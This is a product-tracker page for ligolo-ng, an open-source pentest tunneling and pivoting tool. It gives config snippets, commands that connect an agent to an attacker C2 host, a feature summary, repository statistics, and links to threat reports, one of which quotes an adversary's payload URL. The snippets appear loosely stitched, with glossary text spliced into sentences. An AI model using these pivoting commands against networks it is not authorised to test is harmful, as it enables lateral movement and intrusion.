ligolo-ng
v0.9 open-sourceThe section your link pointed to isn't on ligolo-ng's page any more, so we've brought you to the top.
An advanced, yet simple, tunneling/pivoting tool that uses a TUNTUNA virtual network device in Linux (and other OSes) that lets a userspace program read and write raw IP packets, making it the standard building block for VPNs and traffic-manipulation tools. interface.
agent:
deadbeefcafe:
autobind: true
interface: ligolo
interface:
ligolo:
routes:
- 10.55.0.0/24
web:
enabled: true
enableui: true
listen: 127.0.0.1:8080
users:
ligolo: mysecretpassword
web:
enabled: true
enableui: true
corsallowedorigin: 'http://127.0.0.1:8080'
sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV
# On the target host — agent listens for incoming proxy connections
ligolo-agent -bind 0.0.0.0:4444
# On the attacker/operator machine — proxy connects to the waiting agent
ligolo-ng » connect_agent --ip 192.168.1.10:4444
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
listener_list
agent:
deadbeefcafe:
autobind: true
interface: ligolo
web:
enabled: true
enableui: true
listen: 127.0.0.1:8080
secret: 3383861a48e1332583e5d8cd9946d24b98be780e0c64581d693cb4ff50a68a68
users:
ligolo: mysecretpassword
interface:
ligolosample:
routes:
- 10.254.0.0/24
- 10.255.0.0/24
ligolo-ng » interface_create --name "evil-cha"
ligolo-ng » certificate_fingerprint
# Copy the printed fingerprint, then on the target:
./agent -connect attacker_c2_server.com:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC
ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24
./proxy --api-laddr 127.0.0.1:9090
ligolo-ng proxy> autoroute
ligolo-ng agent -bind
ligolo-ng proxy -run
> tunnel_start interface=tun0
Summary
ligolo-ng is an open-source, GPLv3-licensed tunneling tool that gives pentesters a routable network link into a target environment by building a TUN interface over a reverse TCPTCPA network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it./TLS connection, avoiding SOCKSSOCKSA proxy protocol that relays TCP (and optionally UDP) connections through an intermediary server, letting cyber tools route traffic through a pivot host or anonymizing layer without needing raw network access. proxies and proxychains entirely. It runs as a command-line proxy/relay server paired with an agent binary on the target, with a daemon mode for running it as a background service on Windows, Linux, macOS, and BSD; a REST APIREST APIA web API design style where clients interact with resources over HTTP using standard methods like GET, POST, and DELETE, giving cyber tools a predictable, language-agnostic way to integrate with external services. and web interface also allow multiple operators to share a session. It's built for red teamers and pentesters doing lateral movementlateral movementMoving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. during an engagement rather than for defenders. Its own documentation contrasts it with Ligolo, Chisel, and Meterpreter, arguing its userland network stack is simpler and faster than SOCKS-based forwarding. First committed in 2021, it remains actively maintained, with 20 contributors and a release cut just 39 days ago.
An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.
How ligolo-ng helps
Can I pivot into this network without dropping a privileged binary on the box I just landed on?
the agent side needs no administrative rights to establish the tunnel; only the relay/proxy end needs the ability to create a TUN interface
Which protocols will actually traverse this tunnel besides plain TCP?
carries TCP, UDP, and ICMP echo requests across the same tunnel, covering ping sweeps and UDP service checks, not just TCP connections
Will my tunnel survive a flaky connection back out of the target network, or do I have to rebuild it by hand?
tunnels and listeners reconnect automatically after network loss, and routes/interfaces can be reapplied automatically when a specific agent comes back online
Can a second operator work the same session with me during an engagement?
exposes a REST API and web interface so multiple operators can view and drive the same proxy session concurrently
Is this route already carrying traffic before I add another one on top of it?
the route-adding interface lists the existing routes on each interface at the time you add a new one, so overlapping routes are visible before they're created
Languages
Command line
No command matches.
| option | found in | since | description |
|---|
Values are placeholders taken from each option’s declared default. Nothing is executed here — the output shown is a recording of a run that already happened.
Score card
-
Shipping velocity releases a month, last 12 months
-
Documentation quality release-notes rubric, 0–100
-
Breaking-change discipline how rarely a release breaks users, and notice given
-
Maintenance risk quiet time against its own cadence, maintainers
-
Innovation & surface new capabilities, API and MCP surface
- Community health
-
Contributor trend distinct committers, this year against last
-
Maintainer concentration bus factor now against a year ago
-
Issue backlog trend issues closed per issue opened, 12 months
-
Responsiveness median time to a maintainer’s first reply
Nine scores for ligolo-ng, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Score cards are part of every paid plan.
See plans → Already subscribed? Sign in →Trajectory
Blank means never measured; nothing here is a filled-in zero.
Peer standings are included with Researcher and Business. See how this tool ranks against its competitors, using data we don't publish anywhere else.
See plans →Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
- Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
- Documentation quality — the release-notes rubric published on the analytics page, unchanged.
- Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
- Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
- Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
- Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
- Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
- Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail ligolo-ng puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Checking release-note history…
Releases
15 entries
No entries match these filters.
- October 20268
- July 20261
- February 20261
- April 20251
- August 20242
- June 20241
- August 20211
Project health
Issue, contributor and maintainer activity in nicocha30/ligolo-ng, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.
- Contributors 7 +3 vs prior 12 months
- Maintainers 2 +2 joined · −1 left, last 12 months
- Bus factor 1 committers behind half the commits
- Community-filed 100% of issues opened, last 12 months
- Median time to close 172 days first maintainer reply 37 days
- Open backlog 12 of 142 issues ever filed
- Issues opened / month 1 · 0 communitymaintainers
- Open backlog 12
- Contributors / month 0
- Commits / month 0
- Stars 5,006
- bugs 8%
- features 17%
- other 75%
Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this
Articles
6 articles · updated Nov 4, 2026Where ligolo-ng turns up in what others publish: how-tos, attack reports that name it, and incident write-ups. A row says why it is here and quotes where the article names it; the link goes to the publisher.
-
A Detailed Guide on Ligolo-Ng
This article delivers a practical, end-to-end walkthrough of Ligolo-ng, from initial proxy setup and agent deployment to advanced multi-hop pivoting across isolated networks.
2 more quotes
As a result, it positions Ligolo-ng as a foundational component of a modern offensive operations toolkit.
Ligolo-ng directly addresses this requirement as a modern, Layer-3 network pivoting framework.
-
AI-powered attack exploited PaperCut flaws to hack 395 organizations
The attacker’s toolkit includes Ligolo-ng, Mimikatz, Certipy, BloodHound, Rubeus, Impacket, NetExec, and custom Rust credential-collection utilities.
-
Agents Gone Wild: An AI-Orchestrated Global Campaign Against PaperCut NG/MF
Ligolo-ng name and path used by adversary Adversary Tool Kit The MCA had a library of publicly available offensive security tools used to expand access to the enterprise environment.
1 more quote
…LSA bootkey collector http://45.142.193.132:8089/agent5.exe URL for Ligolo-ng used by adversary C:\ProgramData\LegitSvc\legit-svc.exe Ligolo-ng name and path used by adversary…
-
Ransomware incidents in Japan in the first half of 2026: Investigation of The Gentlemen’s infrastructure and evidence of Qilin's AI use
The actor used VPN, Chisel, Ligolo-ng, SSH, and Proxychains to establish communication paths from the attacker-controlled server into the target organization’s internal network.
Libraries its release ships
What its latest release locks, checked against known advisories.None of its release's images build from a lockfile we can read.
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can follow every release here.